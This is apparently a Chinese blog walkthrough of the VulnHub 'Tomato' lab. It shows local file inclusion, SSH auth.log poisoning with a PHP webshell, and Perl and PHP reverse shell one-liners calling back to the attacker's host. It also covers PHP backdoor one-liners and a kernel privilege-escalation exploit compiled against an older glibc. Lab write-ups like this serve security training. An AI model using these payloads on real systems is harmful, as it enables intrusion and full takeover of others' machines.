Vulnhub打靶记录:tomato
相关信息
kali:10.0.0.7/24
靶机:10.0.0.8/24
靶机介绍:Tomato: 1 ~ VulnHub
靶机下载:https://download.vulnhub.com/tomato/Tomato.ova
目标:一个 flag
+ root
权限
难度:低
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 端口扫描 信息搜集 路径爬取
- 源码分析:通过查看爬取的
web
路径和相关网页的源码,发现注释 - 文件包含:文件包含的各个方式
- 写入日志:非常重要的思路,无论是文件包含还是
ssti
等漏洞都是可以通过这 - 内核漏洞枚举:一个自动化脚本的使用
- 本地提权
下意识的操作
- 任何网页都要查看源码
linux
靶机在确定是否有python
时,请把python,python2,python3
全部试一遍
主要的知识点
- 文件包含测试时包含那几个方面:
- 本地系统文件
passwd
ssh
秘钥登陆默认存放秘钥的文件log
日志
- 远程文件包含
- 本地系统文件
- 自动化漏洞脚本
- 掌握
gcc:glibc
的指定
具体流程
信息收集
-
主机发现,端口扫描,服务确定。
21:ftp
的vsftpd 3.0.3
是没有什么远程执行的漏洞,但是有个拒绝服务的漏洞(和我们打靶无关)。另外靶机的ssh
服务这次开在了2211
端口,更为重要的信息是nmap
的脚本扫描是没有返向任何目标靶机可以利用的漏洞信息。 -
访问靶机相关的
web
页面,其中80
端口就是一个简单的图片页面没有什么价值(源码也是没有任何信息),8000
端口的web
一访问就需要我们输入账号密码(字典爆破也没有效果)。 -
那信息收集几乎就只有目录爬取这个思路了,使用
dirsearch
来帮我们获取后台路径(默认的字典是爬不出来,需要指定字典)。 -
浏览爬取到的相关目录,浏览到
/antibot_image/antibots/
下的readme.txt, jpg
文件时,可以大致的知道靶机上可能有 反爬虫软件。点开info.php
文件(php环境的配置的展示网页)并查看其源码,发现个非常重要的注释,提示我们该网页存在个参数GET:image
参数。 || bots:反爬虫技术
文件包含
-
大胆的推测
image
参数后面可能为路径,赋值为/etc/passwd
,再查看页面源码直到最后,发现网页竟然真的包含了/etc/passwd
,同时不难发现只有root,tomato
两个用户具有shell
。下面为三个走不通的思路:
- 对上述两个用户
ssh
密码爆破 - 访问
/home/tomato/.ssh/id_rsa
看是否可以通过秘钥传递绕过ssh
需要输入密码 - 远程文件包含:不论进行实测还查看
info.php
文件都可以证明靶机是不能进行远程文件包含的。因为phpinfo
直接禁止allow_url_include
- 对上述两个用户
-
目标靶机存在明显的文件包含漏洞(给我们感觉就应该从这个漏洞入手,完全凭借经验),进而想到是否可以包含
log
文件呢? (log文件这个思路在文件上传漏洞也是可以利用的) 当对靶机开放的所有服务默认的log
文件路径进行包含发现都是失败的(失败可能的原因: 权限不够,没有开启日志,目录不对等等),直到对系统本身的log
文件/var/log/auth.log
包含时才有一定的收获。 auth.log介绍
这里值得注意,
info.php
是个php
文件,但是我们包含的文件是直接以源码的形式呈现到源码中。这就意味着如果包含的日志中有恶意php,js
等语言是会php
语言被执行的。
-
先用一个根本不存在的用户,测试是否能够成功写入到
log
中:ssh aaaaaaaaa@10.0.0.8 -p2211
。结果不用多说,所以尝试反弹shell
是有可能的。
反弹shell
-
键入
ssh '<?php echo shell_exec($_GET["cmd"]); ?>'@10.0.0.8 -p2211
来将恶意代码视为用户名,利用log
写入到靶机中(外侧一定要使用单引号,cmd使用双引号。否则无法执行)。不过再次包含log
文件的时候并没有发现恶意代码,这是个好事表明靶机并没有将恶意代码当为字符串执行,而是将其看为php
代码执行所以导致无法查看。上载下面的payload
发现成功的反弹了shell
。perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
漏洞检测与利用
-
由于靶机存在
nc
工具,我们就通过nc
来进行文件的传输。注意一下几点:-
将检测工具放在
/tmp
使用 -
靶机的
shell
必须简单的升级后才能使用cd /tmp
来进行跳转目录 。升级目录:/bin/bash -i
-
-w 1
参数表示在建立联系完毕后1秒
后自动断开nc
连接
-
-
更改检测脚本权限,运行后按照他提供漏洞利用的可能性来挨个尝试(第二个是成功的)。
可以看到这个工具会检测73个内核漏洞,43个用户权限漏洞。
-
然后利用
python3
来升级一下shell
,由于靶机是没有gcc
的利用环境的。我们必须在kali
上编译后再上载给靶机上执行。但是我们却发现一个非常麻烦的问题,当获取的exp
更改权限执行后发现靶机上的动态链接库有问题:``GLIBC_3.4' not found`。
- 同上面漏洞的exp地址后面的序号,直接在
kali
中键入searchsploit -p 45010
,就可返回只带的漏洞脚本- 当我们确定靶机上是否有python环境的时候,一定要将
python,python2,pthon3
都试一遍。靶机上是有python3
。说以我们可以升级shell
-
通过在
kali,靶机
上分别键入以下命令,可以看到靶机上确实没有GLIBC_2.34
的。strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_2.3
-
当在
kali
中使用固定版本的glibc
编译后的exp
上传到靶机后,赋予执行权限进行运行发现成功的提权为root
用户,然后进行flag
的读取完成打靶。-
先获取对应的
glibc
,然后解压改文件:wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
-
接着进行解压和
gcc
的指定编译 -
最后进行提权脚本的使用,记得添加可执行权限
则个编译出现的
not find
问题在第一个靶机上也是存在同样的问题,解决方法是相同的。
https://www.cnblogs.com/cchl/articles/vulnhub_medium_socnet.html
-
相关工具/命令
工具
linux-exploit-suggerster
-
what?
Linux Exploit Suggester 是使用 Perl 编程语言编写的工具,分析目标系统的内核版本和软件包,并与已知的漏洞数据库进行比对,以提供漏洞建议,需要自己安装。
就是一个漏洞扫描脚本,在靶机上运行来获取器漏洞存在的可能
-
如何食用
下载完成后再对应的文件中会有一个
.sh
的文件,直接将该文件上传到靶机上运行即可
payload
perl反弹shell
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
php反弹shell
php -r '$sock=fsockopen(\"10.0.0.7\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'
复盘/相关知识
复盘
反弹shell的试错
-
nc 返回
在通过
which nc
的payload,发现靶机上是有nc
的。但是当使用的时候出现了两个问题导致我们无法使用nc
- 没有
-e
参数 - 当我简单的建立
tcp连接:nc 10.0.0.7
的时候,会在建立连接后立马断开。导致我们使用nc
串联技术也是不可能的了
- 没有
-
python
直接
which
发现靶机都没有python
,但是有python3可以进行反弹shell
,这是后续修改的当时打靶还是用的perl
语言反弹的shell
-
perl
使用
which perl
时发现靶机是有该语言环境的,所以但我们使用该语言进行反弹shell
才成功
重要
双引号和单引号的区别
在 Linux shell 中,单引号 '
和双引号 "
的区别在于,双引号中的变量会被解析,而单引号中的变量不会被解析。例如,如果你定义了一个变量 var=world
,那么在双引号中输入 echo "hello $var"
会输出 hello world
,而在单引号中输入 echo 'hello $var'
会输出 hello $var
。 返回
php后门的注意
-
蚁剑,卡巴斯基等自动化的后门:
<?php eval($_POST['cmd']);?>
eval
其实是不能执行shell
命令,它只能执行相关的php
命令。之所以自动化工具能够执行shell
命令,是因为做了后台的加工 -
手动的后台反弹:
<?php echo system($_GET['cmd']);?>
- ```
<?php echo exec($_GET['cmd']);?>
<?php echo passthru($_GET['cmd']);?>
/var/log/auth.log
-
what? 返回
一个系统日志文件,它记录了与用户身份验证和授权相关的信息。在许多Linux系统中,这个文件用于记录用户登录、登出、密码更改以及其他身份验证事件,包括 ssh,ftp等登陆信息。
-
渗透思路
文件包含来执行一句话木马
了解
perl语言
-
what? 返回
Perl 是一种高级、通用、直译式、动态的编程语言,由拉里·沃尔(Larry Wall)设计并开发。它最初被设计用于文本处理,但随着时间的推移,它已经演变成了用于系统管理、网络编程、GUI 编程和 Web 编程等领域的通用编程语言。Perl 语言具有很多特性,如正则表达式、模块化编程、面向对象编程、函数式编程等。
希望这可以帮到你。